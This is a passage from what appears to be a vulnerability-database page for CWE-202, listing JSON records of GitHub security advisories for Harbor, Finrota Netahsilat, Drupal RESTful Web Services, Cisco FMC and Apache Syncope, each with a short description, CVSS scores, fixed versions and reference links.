      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/commit/dce7d9f5cffbd0d0c5d27e7a2f816f65a930702c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/goharbor/harbor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/goharbor/harbor/releases"
    },
    {
      "type": "WEB",
      "url": "https://goharbor.io/blog"
    },
    {
      "type": "WEB",
      "url": "https://www.elttam.com/blog/plormbing-your-django-orm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Possible ORM Leak Vulnerability in the Harbor"
}

GHSA-HRVV-3GC2-4CQX

Vulnerability from github – Published: 2024-10-04 12:31 – Updated: 2026-06-03 15:30
VLAI
Details

Cleartext Storage of Sensitive Information vulnerability in Finrota Netahsilat allows Retrieve Embedded Sensitive Data.This issue solved in versions 1.21.10, 1.23.01, 1.23.08, 1.23.11 and 1.24.03.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-6400"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-04T12:15:12Z",
    "severity": "HIGH"
  },
  "details": "Cleartext Storage of Sensitive Information vulnerability in Finrota Netahsilat allows Retrieve Embedded Sensitive Data.This issue solved in versions 1.21.10,\u00a01.23.01,\u00a01.23.08, 1.23.11 and 1.24.03.",
  "id": "GHSA-hrvv-3gc2-4cqx",
  "modified": "2026-06-03T15:30:35Z",
  "published": "2024-10-04T12:31:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-6400"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-24-1611"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-24-1611"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:L/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JF66-V4FG-QPQX

Vulnerability from github – Published: 2025-01-09 21:31 – Updated: 2025-01-10 18:31
VLAI
Details

Exposure of Sensitive Information Through Data Queries vulnerability in Drupal RESTful Web Services allows Forceful Browsing.This issue affects RESTful Web Services: from 7.X-2.0 before 7.X-2.10.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-13255"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T19:15:19Z",
    "severity": "HIGH"
  },
  "details": "Exposure of Sensitive Information Through Data Queries vulnerability in Drupal RESTful Web Services allows Forceful Browsing.This issue affects RESTful Web Services: from 7.X-2.0 before 7.X-2.10.",
  "id": "GHSA-jf66-v4fg-qpqx",
  "modified": "2025-01-10T18:31:39Z",
  "published": "2025-01-09T21:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-13255"
    },
    {
      "type": "WEB",
      "url": "https://www.drupal.org/sa-contrib-2024-019"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JWPJ-M256-82WG

Vulnerability from github – Published: 2024-10-23 18:33 – Updated: 2024-10-23 18:33
VLAI
Details

A vulnerability in the password change feature of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to determine valid user names on an affected device.

This vulnerability is due to improper authentication of password update responses. An attacker could exploit this vulnerability by forcing a password reset on an affected device. A successful exploit could allow the attacker to determine valid user names in the unauthenticated response to a forced password reset.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-20388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-23T18:15:07Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the password change feature of Cisco Firepower Management Center (FMC) software could allow an unauthenticated, remote attacker to determine valid user names on an affected device.\n\n This vulnerability is due to improper authentication of password update responses. An attacker could exploit this vulnerability by forcing a password reset on an affected device. A successful exploit could allow the attacker to determine valid user names in the unauthenticated response to a forced password reset.",
  "id": "GHSA-jwpj-m256-82wg",
  "modified": "2024-10-23T18:33:09Z",
  "published": "2024-10-23T18:33:09Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-20388"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-fmc-xss-infodisc-RL4mJFer"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PJHV-6XM9-9CXW

Vulnerability from github – Published: 2026-09-14 15:32 – Updated: 2026-09-14 21:31
VLAI
Details

Exposure of sensitive information through data queries vulnerability in Apache Syncope.

An administrator with adequate entitlements for Derived Schemas can create a malicious JEXL expression which allows any administrator with sufficient entitlements for User read to access LinkedAccount's (if present) or Manager's (if defined) sensitive information, possibly including hashed credentials.

This issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2.

Users are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-77883"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-14T13:18:46Z",
    "severity": "MODERATE"
  },
  "details": "Exposure of sensitive information through data queries vulnerability in Apache Syncope.\n\nAn administrator with adequate entitlements for Derived Schemas can create a malicious JEXL expression which allows any administrator with sufficient entitlements for User read to access LinkedAccount\u0027s (if present) or Manager\u0027s (if defined) sensitive information, possibly including hashed credentials.\n\nThis issue affects Apache Syncope: from 3.0.0-M0 through 3.0.16, from 4.0.0-M0 Through 4.0.7, from 4.1.0-M0 through 4.1.2.\n\nUsers are recommended to upgrade to version 4.0.8 / 4.1.3, which fix this issue.",
  "id": "GHSA-pjhv-6xm9-9cxw",
  "modified": "2026-09-14T21:31:36Z",
  "published": "2026-09-14T15:32:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-77883"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/oshwdz2k4cl3042y39zq0yl4qkxbd83p"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/09/14/17"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

This is a complex topic. See the [REF-1492] for a good discussion of best practices.

No CAPEC attack patterns related to this CWE.